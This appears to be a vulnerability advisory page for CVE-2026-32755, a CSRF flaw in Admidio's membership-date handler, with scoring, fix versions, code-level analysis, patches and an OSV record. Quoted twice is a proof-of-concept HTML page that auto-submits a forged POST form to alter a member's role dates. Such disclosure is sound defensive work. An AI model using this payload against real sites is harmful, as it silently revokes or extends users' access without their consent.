CVE-2026-32755: Admidio/admidio Admidio Is Missing CSRF Protection Vulnerability

MODERATE
Advisory Identifier: GHSA-h8gr-qwr6-m9gx
CVSS 5.7
CWE-352
Published
Advisory Summary

CVE-2026-32755 is a MODERATE (CVSS 5.7) admidio is missing csrf protection vulnerability (CWE-352: Cross-Site Request Forgery (CSRF)) affecting Admidio/admidio libraries in the Packagist ecosystem. The issue involves admidio is missing csrf protection on role membership date changes. Remediation is available by upgrading affected packages to version 5.0.7.

CVE-2026-32755 at a Glance

CVE Identifier CVE-2026-32755
GHSA Identifier GHSA-h8gr-qwr6-m9gx
Severity MODERATE
CVSS v3.1 Base Score 5.7
CWE Classification CWE-352: Cross-Site Request Forgery (CSRF)
Affected Product Admidio/admidio
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 5.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-32755

To remediate this vulnerability, upgrade all affected Admidio/admidio dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

admidio/admidio fixed: 5.0.7
Upgrade admidio/admidio to 5.0.7
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for admidio/admidio

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-32755, inspect your project dependencies for Admidio/admidio:

inspect dependencies for admidio/admidio

Analyze the terminal output to locate any version of Admidio/admidio in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.0.7), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-352: Cross-Site Request Forgery (CSRF), where the web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor. In Admidio/admidio, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `save_membership` action in `modules/profile/profile_function.php` saves changes to a member's role membership start and end dates but does not validate the CSRF token. The handler checks `stop_membership` and `remove_former_membership` against the CSRF token but omits `save_membership` from that check. Because membership UUIDs appear in the HTML source visible to authenticated users, an attacker can embed a crafted POST form on any external page and trick a role leader into submitting it, silently altering membership dates for any member of roles the victim leads. ## Details ### CSRF Check Is Absent for save_membership File: `D:/bugcrowd/admidio/repo/modules/profile/profile_function.php`, lines 40-42 The CSRF guard covers only two of the three mutative modes: ```php if (in_array($getMode, array('stop_membership', 'remove_former_membership'))) { // check the CSRF token of the form against the session token SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); } ``` The `save_membership` mode is missing from this array. The handler then proceeds to read dates from `$_POST` and update the database without any token verification: ```php } elseif ($getMode === 'save_membership') { $postMembershipStart = admFuncVariableIsValid($_POST, 'adm_membership_start_date', 'date', array('requireValue' => true)); $postMembershipEnd = admFuncVariableIsValid($_POST, 'adm_membership_end_date', 'date', array('requireValue' => true)); $member = new Membership($gDb); $member->readDataByUuid($getMemberUuid); $role = new Role($gDb, (int)$member->getValue('mem_rol_id')); // check if user has the right to edit this membership if (!$role->allowedToAssignMembers($gCurrentUser)) { throw new Exception('SYS_NO_RIGHTS'); } // ... validates dates ... $role->setMembership($user->getValue('usr_id'), $postMembershipStart, $postMembershipEnd, ...); echo 'success'; } ``` File: `D:/bugcrowd/admidio/repo/modules/profile/profile_function.php`, lines 131-169 ### The Form Does Generate a CSRF Token (Not Validated) File: `D:/bugcrowd/admidio/repo/modules/profile/roles_functions.php`, lines 218-241 The membership date form is created via `FormPresenter`, which automatically injects an `adm_csrf_token` hidden field into every form. However, the server-side `save_membership` handler never retrieves or validates this token. An attacker's forged form does not need to include the token at all, since the server does not check it. ### Who Can Be Exploited as the CSRF Victim File: `D:/bugcrowd/admidio/repo/src/Roles/Entity/Role.php`, lines 98-121 The `allowedToAssignMembers()` check grants write access to: - Any user who is `isAdministratorRoles()` (role administrators), or - Any user who is a leader of the target role when the role has `rol_leader_rights` set to `ROLE_LEADER_MEMBERS_ASSIGN` or `ROLE_LEADER_MEMBERS_ASSIGN_EDIT` Role leaders are not system administrators. They are regular members who have been designated as group leaders (e.g., a sports team captain or committee chair). This represents a low-privilege attack surface. ### UUIDs Are Discoverable from HTML Source The save URL for the membership date form is embedded in the profile page HTML: ``` /adm_program/modules/profile/profile_function.php?mode=save_membership&user_uuid=<UUID>&member_uuid=<UUID> ``` Any authenticated member who can view a profile page can extract both UUIDs from the page source. ## PoC The attacker hosts the following HTML page and tricks a role leader into visiting it while logged in to Admidio: ```html <!DOCTYPE html> <html> <body onload="document.getElementById('csrf_form').submit()"> <form id="csrf_form" method="POST" action="https://TARGET/adm_program/modules/profile/profile_function.php?mode=save_membership&user_uuid=<VICTIM_USER_UUID>&member_uuid=<MEMBERSHIP_UUID>"> <input type="hidden" name="adm_membership_start_date" value="2000-01-01"> <input type="hidden" name="adm_membership_end_date" value="2000-01-02"> </form> </body> </html> ``` Expected result: The target member's role membership dates are overwritten to 2000-01-01 through 2000-01-02, effectively terminating their active membership immediately (end date is in the past). Note: No `adm_csrf_token` field is required because the server does not validate it for `save_membership`. ## Impact - **Unauthorized membership date manipulation:** A role leader's session can be silently exploited to change start and end dates for any member of roles they lead. Setting the end date to a past date immediately terminates the member's active participation. - **Effective access revocation:** Membership in roles controls access to role-restricted features (events visible only to role members, document folders with upload rights, and mailing list memberships). Revoking membership via CSRF removes these access rights. - **Covert escalation:** An attacker could also extend a restricted membership period beyond its authorized end date, maintaining access for a user who should have been deactivated. - **No administrative approval required:** The impact occurs silently on the victim's session with no confirmation dialog or notification email. ## Recommended Fix ### Fix 1: Add `save_membership` to the existing CSRF validation check ```php // File: modules/profile/profile_function.php, lines 40-42 if (in_array($getMode, array('stop_membership', 'remove_former_membership', 'save_membership'))) { // check the CSRF token of the form against the session token SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); } ``` ### Fix 2: Use the form-object validation pattern (consistent with other write endpoints) ```php } elseif ($getMode === 'save_membership') { // Validate CSRF via form object (consistent pattern used by DocumentsService, etc.) $membershipForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']); $formValues = $membershipForm->validate($_POST); $postMembershipStart = $formValues['adm_membership_start_date']; $postMembershipEnd = $formValues['adm_membership_end_date']; // ... rest of save logic unchanged } ```

CVE-2026-32755 Affected Admidio/admidio Versions

1 component(s)
Fixed Versions:
5.0.7
Product / Package Ecosystem Affected Versions Fixed Version
admidio/admidio
Packagist
< 5.0.7
5.0.7

References

Frequently Asked Questions

What is CVE-2026-32755?
CVE-2026-32755 is a security vulnerability in Admidio/admidio involving Admidio is Missing CSRF Protection on Role Membership Date Changes under CWE-352: Cross-Site Request Forgery (CSRF).
Which Admidio/admidio versions are affected?
Affected versions include releases prior to 5.0.7 across affected packages: admidio/admidio.
What version fixes CVE-2026-32755?
Upgrading to 5.0.7 (or the latest patched release for your respective branch) resolves the vulnerability.
Is admidio/admidio affected?
Yes, admidio/admidio is affected in releases prior to 5.0.7. Upgrade your dependency to 5.0.7 or later.
What is the CVSS score of CVE-2026-32755?
CVE-2026-32755 has a CVSS v3.1 base score of 5.7 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N.
What CWE is associated with CVE-2026-32755?
CVE-2026-32755 is classified under CWE-352: Cross-Site Request Forgery (CSRF) (The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.).
How can I check Packagist dependencies for CVE-2026-32755?
Run the dependency tree command: 'inspect dependencies for admidio/admidio'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-h8gr-qwr6-m9gx",
  "modified" : "2026-03-20T21:15:40Z",
  "published" : "2026-03-16T21:17:34Z",
  "aliases" : [ "CVE-2026-32755" ],
  "summary" : "Admidio is Missing CSRF Protection on Role Membership Date Changes",
  "details" : "## Summary\n\nThe `save_membership` action in `modules/profile/profile_function.php` saves changes to a member's role membership start and end dates but does not validate the CSRF token. The handler checks `stop_membership` and `remove_former_membership` against the CSRF token but omits `save_membership` from that check. Because membership UUIDs appear in the HTML source visible to authenticated users, an attacker can embed a crafted POST form on any external page and trick a role leader into submitting it, silently altering membership dates for any member of roles the victim leads.\n\n## Details\n\n### CSRF Check Is Absent for save_membership\n\nFile: `D:/bugcrowd/admidio/repo/modules/profile/profile_function.php`, lines 40-42\n\nThe CSRF guard covers only two of the three mutative modes:\n\n```php\nif (in_array($getMode, array('stop_membership', 'remove_former_membership'))) {\n    // check the CSRF token of the form against the session token\n    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n}\n```\n\nThe `save_membership` mode is missing from this array. The handler then proceeds to read dates from `$_POST` and update the database without any token verification:\n\n```php\n} elseif ($getMode === 'save_membership') {\n    $postMembershipStart = admFuncVariableIsValid($_POST, 'adm_membership_start_date', 'date', array('requireValue' => true));\n    $postMembershipEnd   = admFuncVariableIsValid($_POST, 'adm_membership_end_date',   'date', array('requireValue' => true));\n\n    $member = new Membership($gDb);\n    $member->readDataByUuid($getMemberUuid);\n    $role = new Role($gDb, (int)$member->getValue('mem_rol_id'));\n\n    // check if user has the right to edit this membership\n    if (!$role->allowedToAssignMembers($gCurrentUser)) {\n        throw new Exception('SYS_NO_RIGHTS');\n    }\n    // ... validates dates ...\n    $role->setMembership($user->getValue('usr_id'), $postMembershipStart, $postMembershipEnd, ...);\n    echo 'success';\n}\n```\n\nFile: `D:/bugcrowd/admidio/repo/modules/profile/profile_function.php`, lines 131-169\n\n### The Form Does Generate a CSRF Token (Not Validated)\n\nFile: `D:/bugcrowd/admidio/repo/modules/profile/roles_functions.php`, lines 218-241\n\nThe membership date form is created via `FormPresenter`, which automatically injects an `adm_csrf_token` hidden field into every form. However, the server-side `save_membership` handler never retrieves or validates this token. An attacker's forged form does not need to include the token at all, since the server does not check it.\n\n### Who Can Be Exploited as the CSRF Victim\n\nFile: `D:/bugcrowd/admidio/repo/src/Roles/Entity/Role.php`, lines 98-121\n\nThe `allowedToAssignMembers()` check grants write access to:\n- Any user who is `isAdministratorRoles()` (role administrators), or\n- Any user who is a leader of the target role when the role has `rol_leader_rights` set to `ROLE_LEADER_MEMBERS_ASSIGN` or `ROLE_LEADER_MEMBERS_ASSIGN_EDIT`\n\nRole leaders are not system administrators. They are regular members who have been designated as group leaders (e.g., a sports team captain or committee chair). This represents a low-privilege attack surface.\n\n### UUIDs Are Discoverable from HTML Source\n\nThe save URL for the membership date form is embedded in the profile page HTML:\n\n```\n/adm_program/modules/profile/profile_function.php?mode=save_membership&user_uuid=<UUID>&member_uuid=<UUID>\n```\n\nAny authenticated member who can view a profile page can extract both UUIDs from the page source.\n\n## PoC\n\nThe attacker hosts the following HTML page and tricks a role leader into visiting it while logged in to Admidio:\n\n```html\n<!DOCTYPE html>\n<html>\n<body onload=\"document.getElementById('csrf_form').submit()\">\n  <form id=\"csrf_form\"\n        method=\"POST\"\n        action=\"https://TARGET/adm_program/modules/profile/profile_function.php?mode=save_membership&user_uuid=<VICTIM_USER_UUID>&member_uuid=<MEMBERSHIP_UUID>\">\n    <input type=\"hidden\" name=\"adm_membership_start_date\" value=\"2000-01-01\">\n    <input type=\"hidden\" name=\"adm_membership_end_date\"   value=\"2000-01-02\">\n  </form>\n</body>\n</html>\n```\n\nExpected result: The target member's role membership dates are overwritten to 2000-01-01 through 2000-01-02, effectively terminating their active membership immediately (end date is in the past).\n\nNote: No `adm_csrf_token` field is required because the server does not validate it for `save_membership`.\n\n## Impact\n\n- **Unauthorized membership date manipulation:** A role leader's session can be silently exploited to change start and end dates for any member of roles they lead. Setting the end date to a past date immediately terminates the member's active participation.\n- **Effective access revocation:** Membership in roles controls access to role-restricted features (events visible only to role members, document folders with upload rights, and mailing list memberships). Revoking membership via CSRF removes these access rights.\n- **Covert escalation:** An attacker could also extend a restricted membership period beyond its authorized end date, maintaining access for a user who should have been deactivated.\n- **No administrative approval required:** The impact occurs silently on the victim's session with no confirmation dialog or notification email.\n\n## Recommended Fix\n\n### Fix 1: Add `save_membership` to the existing CSRF validation check\n\n```php\n// File: modules/profile/profile_function.php, lines 40-42\nif (in_array($getMode, array('stop_membership', 'remove_former_membership', 'save_membership'))) {\n    // check the CSRF token of the form against the session token\n    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n}\n```\n\n### Fix 2: Use the form-object validation pattern (consistent with other write endpoints)\n\n```php\n} elseif ($getMode === 'save_membership') {\n    // Validate CSRF via form object (consistent pattern used by DocumentsService, etc.)\n    $membershipForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);\n    $formValues = $membershipForm->validate($_POST);\n\n    $postMembershipStart = $formValues['adm_membership_start_date'];\n    $postMembershipEnd   = $formValues['adm_membership_end_date'];\n    // ... rest of save logic unchanged\n}\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "admidio/admidio"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.0.7"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.0.6"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Admidio/admidio/security/advisories/GHSA-h8gr-qwr6-m9gx"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-32755"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Admidio/admidio"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Admidio/admidio/releases/tag/v5.0.7"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-352" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-16T21:17:34Z",
    "nvd_published_at" : "2026-03-19T23:16:44Z"
  }
}